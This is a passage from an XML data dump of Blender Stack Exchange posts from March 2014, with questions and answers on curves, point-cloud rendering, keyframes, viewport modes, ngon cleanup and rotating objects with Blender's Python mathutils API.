bpy.context.object.matrix_world.to_translation()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to get the loc/rotation/scale, in that case:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;loc, rot, scale = bpy.context.object.matrix_world.decompose()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to test the location for example, you can set the cursor position.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy import context&#xA;context.scene.cursor_location = context.object.matrix_world.to_translation()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can create a new empty:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;obj = bpy.data.objects.new(&quot;Empty&quot;, None)&#xA;context.scene.objects.link(obj)&#xA;obj.matrix_world  = context.object.matrix_world&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... note, if the matrix contains shear, you wont see this in the empty, for that try the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Math_Viz&quot; rel=&quot;noreferrer&quot;&gt;MathVis&lt;/a&gt; addons.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-05-10T07:55:56.220" LastActivityDate="2016-05-10T07:55:56.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7578" PostTypeId="1" CreationDate="2014-03-07T04:57:05.747" Score="7" ViewCount="6583" Body="&lt;p&gt;I have an SVG file that I imported into Blender that uses curves. The image is split into multiple sections and I cannot figure out how to extrude multiple curves at once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried selecting all of the curves by type and then tried to extrude but it only extrudes one curve. Does anyone know why?&lt;/p&gt;&#xA;" OwnerUserId="2710" LastEditorUserId="395" LastEditDate="2014-03-07T06:53:49.330" LastActivityDate="2018-05-27T21:17:04.073" Title="Extruding Multiple Curves At Once" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7579" PostTypeId="1" AcceptedAnswerId="7604" CreationDate="2014-03-07T06:39:01.433" Score="1" ViewCount="2279" Body="&lt;p&gt;Is something like this possible in Blender ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hkwBI.jpg&quot; alt=&quot;Growing strands&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need random movement of particles, which leaves static strands behind.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1112" LastEditDate="2014-03-07T11:20:31.653" LastActivityDate="2014-03-07T21:33:12.707" Title="Growing strands with particles" Tags="&lt;particles&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7581" PostTypeId="1" AcceptedAnswerId="7586" CreationDate="2014-03-07T07:26:14.383" Score="5" ViewCount="1658" Body="&lt;p&gt;I have a very simple python script to generate planes in the scene. I want to generate 50000 planes in a scene, to compensate for unavailability of POINT primitive, so that i can render a point cloud. &#xA;It runs at a good pace till 2000 th plane is added , then starts slowing down, and gets very slow.&#xA;My computer's config is - i7 3.4 GHz, 16GB RAM, GeForce 9800 GTX graphic card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the python script-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy &#xA;from math import *&#xA;import random&#xA;&#xA;for i in range(2000):&#xA;    x=random.uniform(0,100)&#xA;    y=random.uniform(0,100)&#xA;    z=random.uniform(0,100)&#xA;    bpy.ops.mesh.primitive_plane_add(location=(x,y,z))&#xA;    #bpy.context.active_object.scale=(100,100,100)&#xA;    print(&quot;\n&quot;,i)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Help on &#xA;why it is slowing down?&#xA;How can this be fixed ?&#xA;Any alternate approach to render point cloud in blender?&#xA;would be much appreciated...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time and attention&lt;/p&gt;&#xA;" OwnerUserId="2713" LastActivityDate="2014-03-12T09:02:28.407" Title="Blender gets very slow to draw a scene having large number of plane?" Tags="&lt;python&gt;&lt;point-clouds&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7582" PostTypeId="1" CreationDate="2014-03-07T07:39:33.617" Score="7" ViewCount="760" Body="&lt;p&gt;While painting or sculpting, user draws strokes. Is there a way with python to save those (with brush parameters and pressure data) and then play them back slowly also with python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point is to produce something like the greasepencil's strokes. These strokes save pressure and, through the layer system, the colour. That stroke can later be edited (changing the color, etc...) and animated. Is there something similar for painting/sculpting? It would allow to show a sculpting process from cube to final sculpt with custom point of view, materials, speed all of that rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the doc about how to sculpt a stroke : &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.ops.sculpt.html&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.ops.sculpt.html&lt;/a&gt;. It has a Stroke parameter to be given, but how can I save such a stroke from user input?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2014-03-12T14:45:07.137" LastActivityDate="2014-10-18T23:40:15.073" Title="Is there a way to save strokes while painting/sculpting?" Tags="&lt;python&gt;&lt;sculpting&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7583" PostTypeId="1" AcceptedAnswerId="7589" CreationDate="2014-03-07T07:49:26.627" Score="3" ViewCount="187" Body="&lt;p&gt;I accidentally keyframed scaling for all selected bones where only LocRot is required, is there a way to remove all scaling keys for all bones at once?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fYb6A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="1653" LastEditDate="2014-03-07T19:55:59.453" LastActivityDate="2014-03-07T19:55:59.453" Title="Can keying sets be deleted in bulk?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7584" PostTypeId="1" CreationDate="2014-03-07T07:51:00.953" Score="5" ViewCount="12900" Body="&lt;p&gt;When I click twice on &lt;em&gt;Toggle Quad View&lt;/em&gt;, it let me with an ortho-view instead of the previous 3D view, forcing me to find the viewpoint I had previously again. Is there an option to remember the viewpoint? Hitting Numpad 0 to toggle between current viewpoint and camera view works.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="2217" LastEditDate="2014-03-30T01:08:33.330" LastActivityDate="2020-04-26T14:16:01.583" Title="Can &quot;Toggle Quad view&quot; remember the viewpoint?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7585" PostTypeId="2" ParentId="7584" CreationDate="2014-03-07T07:55:57.190" Score="6" Body="&lt;p&gt;When toggling off by pressing button, it will switch to the Front ortho view by default. But you can hover the mouse cursor over one of the four views, then use shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Q&lt;/kbd&gt; to toggle off while switching to that particular view.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-03-07T07:55:57.190" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7586" PostTypeId="2" ParentId="7581" CreationDate="2014-03-07T07:56:13.887" Score="6" Body="&lt;h1&gt;Dupli objects&lt;/h1&gt;&#xA;&lt;p&gt;Try using &lt;em&gt;Dupliverts&lt;/em&gt; (instances):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create/import the point cloud as a mesh with only vertices:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rPnlU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a single tri by adding a plane (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Mesh &amp;gt; Plane&lt;/em&gt;) and merging one edge with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RITr4.png&quot; alt=&quot;enter image description here&quot; /&gt; &lt;img src=&quot;https://i.stack.imgur.com/Chp5n.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the tri to the point cloud by selecting both objects with the point cloud active (last selected) and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the point cloud active, enable &lt;em&gt;Verts&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Object &amp;gt; Duplication&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HyrUd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;track to&lt;/em&gt; constraint to the tri with the camera object as the target so that all the tris face the camera:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sQev6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This has performed fine for me with point/vertex clouds of over 7000 vertices.&#xA;This will work with both BI and Cycles.&lt;/p&gt;&#xA;&lt;h1&gt;Halos&lt;/h1&gt;&#xA;&lt;p&gt;Another method for rendering point clouds is to use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Special_Effects/Halos&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Halo Material&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create/Import a point cloud as vertex only mesh (no edges or faces):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2TMnW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a &lt;em&gt;Halo material&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hdRzQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Note that this only works for BI.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-03-11T06:56:10.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7587" PostTypeId="2" ParentId="7578" CreationDate="2014-03-07T08:00:15.647" Score="6" Body="&lt;p&gt;You can have one curve object with multiple segments or you can have multiple curve objects each with one segment. Sounds like you have multiple curve objects, in which case you need to extrude each object separately. You could joint multiple curve objects into one by selecting them all and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; so that they all use the same extrude setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With multiple objects you can see that each one has it's own item in the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZVgFY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After joining them all together there is only one item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Ha70.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-07T08:00:15.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7589" PostTypeId="2" ParentId="7583" CreationDate="2014-03-07T08:15:03.133" Score="6" Body="&lt;p&gt;Go to &lt;strong&gt;Dopesheet&lt;/strong&gt; or &lt;strong&gt;Graph Editor&lt;/strong&gt;, click on the little magnifier icon on the header bar, type in &quot;Scale&quot; in the input field, it will allow you to filter the channel by name. Then press &lt;kbd&gt;A&lt;/kbd&gt; to select all channels (suppose you didn't have any customized name for other channel), &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you finally have some channels filtered that you do not want to delete, just try selecting or deselecting them with various selection tools, including single click. :)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-03-07T08:30:41.450" LastActivityDate="2014-03-07T08:30:41.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7590" PostTypeId="1" AcceptedAnswerId="7592" CreationDate="2014-03-07T08:31:25.580" Score="1" ViewCount="524" Body="&lt;p&gt;I would like my custom operator to have 2 behaviours :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Case 1: Viewport is in perspective mode, do function 1.&lt;/li&gt;&#xA;&lt;li&gt;Case 2: Viewport is in orthogonal mode, do function 2.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I get that information with the Python API?&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-03-07T21:53:47.077" Title="Is there a way to make an operator know if the context viewport is in ortho or perspective mode?" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7591" PostTypeId="1" CreationDate="2014-03-07T08:32:26.963" Score="3" ViewCount="1218" Body="&lt;p&gt;When in vertex paint mode - the object being painted is displayed as shadeless.&#xA;This makes painting on a complex model difficult - as you cannot really see what you are doing.&#xA;You can use dirty vertex paint to make the geometry visible - but this is not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is improved in the Blender render textured view using multitexture shading which gives you a shaded view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cycles the object remains shadeless in both shaded and textured mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be shaded so it is not shadeless when using cycles?&lt;/p&gt;&#xA;" OwnerUserId="2224" LastActivityDate="2016-09-20T15:13:55.133" Title="Vertex paint mode shaded view in cycles" Tags="&lt;cycles-render-engine&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7592" PostTypeId="2" ParentId="7590" CreationDate="2014-03-07T08:44:59.727" Score="4" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, you can check &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_10/bpy.types.RegionView3D.html?highlight=ortho#bpy.types.RegionView3D.is_perspective&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_perspective&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the perspective of the current context (provided the current context is a 3D view) with &lt;code&gt;bpy.context.space_data.region_3d.is_perspective&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, running this in the text editor will print &lt;code&gt;Perspective&lt;/code&gt; or &lt;code&gt;Ortho&lt;/code&gt; to the terminal for each 3D view.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for space in area.spaces:&#xA;            if space.type == 'VIEW_3D':&#xA;                if space.region_3d.is_perspective:&#xA;                    print(&quot;Perspective&quot;)&#xA;                else:&#xA;                    print(&quot;Ortho&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-03-07T21:53:47.077" LastActivityDate="2014-03-07T21:53:47.077" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="7593" PostTypeId="1" CreationDate="2014-03-07T08:58:23.113" Score="3" ViewCount="938" Body="&lt;p&gt;In path tracing with 10000 samples i have this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTu8T.jpg&quot; alt=&quot;path tracing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the branched path tracing at 10000 AA samples and diffuse, glossy, transmission.. at 1 i have this result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vbGQs.jpg&quot; alt=&quot;branched path tracing&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;nothing else has changed.&#xA;Why this difference?&lt;/p&gt;&#xA;" OwnerUserId="663" LastActivityDate="2014-03-07T08:58:23.113" Title="Rendering result different between Path tracing and branched path tracing" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2014-07-19T15:10:48.373" ContentLicense="CC BY-SA 3.0" />
  <row Id="7594" PostTypeId="2" ParentId="7553" CreationDate="2014-03-07T09:10:59.400" Score="8" Body="&lt;p&gt;Create a small section of road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZatWR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a curve to define the path the road will follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/28ylI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back on the road section, add an array modifier, a curve modifier and a shrikwrap modifier. You set the array to fit the length of the curve. Then it follows the curve and the shrinkwrap sticks it to the terrain surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uLLbT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Giving a final result -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZOxmW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The curve can then be hidden. Or you can apply the modifiers and join the road mesh to the terrain mesh so they are one. Applying separate materials to each section of mesh.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-07T09:10:59.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7595" PostTypeId="1" AcceptedAnswerId="7596" CreationDate="2014-03-07T11:15:54.923" Score="3" ViewCount="890" Body="&lt;p&gt;I'm using 2.69 and I'd like to make the node names much brighter, but I couldn't find a setting to do that. Did I miss it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/10Aax.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2016-09-15T04:20:15.737" Title="How can I change the color of node names?" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;theme&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7596" PostTypeId="2" ParentId="7595" CreationDate="2014-03-07T11:20:48.393" Score="2" Body="&lt;p&gt;Thanks to &lt;a href=&quot;https://blender.stackexchange.com/users/696/leon-cheung&quot;&gt;Leon Cheung&lt;/a&gt; for this answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Theme -&gt; Node Editor -&gt; Theme Space Settings -&gt; Text&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Preferences -&gt; Node Editor -&gt; Node Backdrop&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2016-09-15T04:20:15.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7598" PostTypeId="1" AcceptedAnswerId="7603" CreationDate="2014-03-07T12:54:48.793" Score="11" ViewCount="2451" Body="&lt;p&gt;In order to optimize my script, I would need some help to perform a rotation around the cursor&lt;br&gt;&#xA;(see &lt;a href=&quot;https://blender.stackexchange.com/questions/6969/rotate-object-around-cursor-with-python&quot;&gt;Rotate object around cursor with Python&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With low-level python, that means, without &lt;code&gt;bpy.ops.*&lt;/code&gt; operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to admit that I didn't find a good overview on how to make rotation with python without &lt;code&gt;bpy.ops&lt;/code&gt;. Do I have to perform matrix operations for a simple rotation around an axis Z located at the cursor position?&lt;/p&gt;&#xA;" OwnerUserId="1314" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2019-12-02T13:24:54.590" Title="Rotation around the cursor with low-level python (no bpy.ops)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7599" PostTypeId="1" AcceptedAnswerId="7600" CreationDate="2014-03-07T13:45:27.583" Score="4" ViewCount="2886" Body="&lt;p&gt;I am trying to make a retopo of my human head. But it seems that I already have several ngons because I couldn't create an edge loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I checked it with mesh lint and it showed me the ngons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TRFgp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the ngons are really quads as far as I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27355&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1672" LastEditorUserId="55" LastEditDate="2014-03-08T13:03:48.527" LastActivityDate="2014-03-08T13:03:48.527" Title="How to fix ngons overlapping wire edges?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;bmesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7600" PostTypeId="2" ParentId="7599" CreationDate="2014-03-07T14:04:52.760" Score="6" Body="&lt;p&gt;You have a large ngon face over the other faces. The same thing goes for the bottom of the nose and the chin. To fix this delete the large polygon and bridge the edges.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the large ngon faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FlVn0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete the faces only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpKjk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use bridge to add new polygons. Or you can fill them one by one using the fill tool: &lt;kbd&gt;F&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WqiNW.png&quot; alt=&quot;enter image description here&quot;&gt;   &lt;img src=&quot;https://i.stack.imgur.com/RoniM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do the same for the bottom of the nose and the chin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RGdQ3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-03-07T14:34:35.260" LastActivityDate="2014-03-07T14:34:35.260" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7601" PostTypeId="1" CreationDate="2014-03-07T14:12:05.327" Score="4" ViewCount="2136" Body="&lt;p&gt;Is it possible to create a custom nonlinear distortion lens in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that Blender superimposes a rectangular grid in front of the eye, and fires out a ray through the center of each cell on the grid, returning the colour for that pixel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tYvGB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question reduces to: is it possible to replace this grid with my own warped grid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm most interested in a code-level solution -- this is for experimental project and as such I would like fine-grained control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS I can't find any tags, such as ray-tracing, eye-ray, lens, distortion&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="696" LastEditDate="2014-03-07T15:50:43.013" LastActivityDate="2014-04-03T07:57:51.550" Title="Custom nonlinear distortion lens" Tags="&lt;rendering&gt;&lt;scripting&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7602" PostTypeId="2" ParentId="7601" CreationDate="2014-03-07T14:50:46.047" Score="5" Body="&lt;p&gt;Why not use the compositor to achieve this affect? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this in the compositor is really easy. All you need to do is to add a lens distortion node.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7qUiF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FSBi9.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;img src=&quot;https://i.stack.imgur.com/w3eOh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2699" LastEditDate="2014-04-03T07:57:51.550" LastActivityDate="2014-04-03T07:57:51.550" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7603" PostTypeId="2" ParentId="7598" CreationDate="2014-03-07T15:17:38.273" Score="15" Body="&lt;h2&gt;Rotate a vector&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import pi&#xA;from mathutils import Vector, Euler, Matrix, Quaternion&#xA;&#xA;v = Vector((1.0, 1.0, 1.0))&#xA;#point which will be rotated around the cursor&#xA;&#xA;cursor_loc = bpy.context.scene.cursor_location&#xA;&#xA;rot_mat = Matrix.Rotation(pi / 2.0, 3, 'Z')&#xA;v_new = rot_mat * (v - cursor_loc) + cursor_loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are further options available (see &lt;a href=&quot;https://www.blender.org/api/current/mathutils.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;api docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can construct a matrix, &lt;em&gt;this is most efficient if you want to apply the same transformation on many points&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = (Matrix.Translation(cursor_loc) *&#xA;       Matrix.Rotation(pi / 2.0, 4, 'Z') *&#xA;       Matrix.Translation(-cursor_loc))&#xA;v_new = mat * v&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can use quaternions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# using (axis, angle) constructor&#xA;q = Quaternion((0.0, 0.0, 1.0), pi / 2.0)&#xA;v_new = q * (v - cursor_loc) + cursor_loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or eulers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eu = Euler((0.0, 0.0, pi / 2.0), 'XYZ')&#xA;v_new = v - cursor_loc&#xA;v_new.rotate(eu)  # works for quat's and matrix types too&#xA;v_new += cursor_loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Rotate an object&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mat = (Matrix.Translation(cursor_loc) *&#xA;       Matrix.Rotation(pi / 2.0, 4, 'Z') *&#xA;       Matrix.Translation(-cursor_loc))&#xA;&#xA;obj.matrix_world = mat * 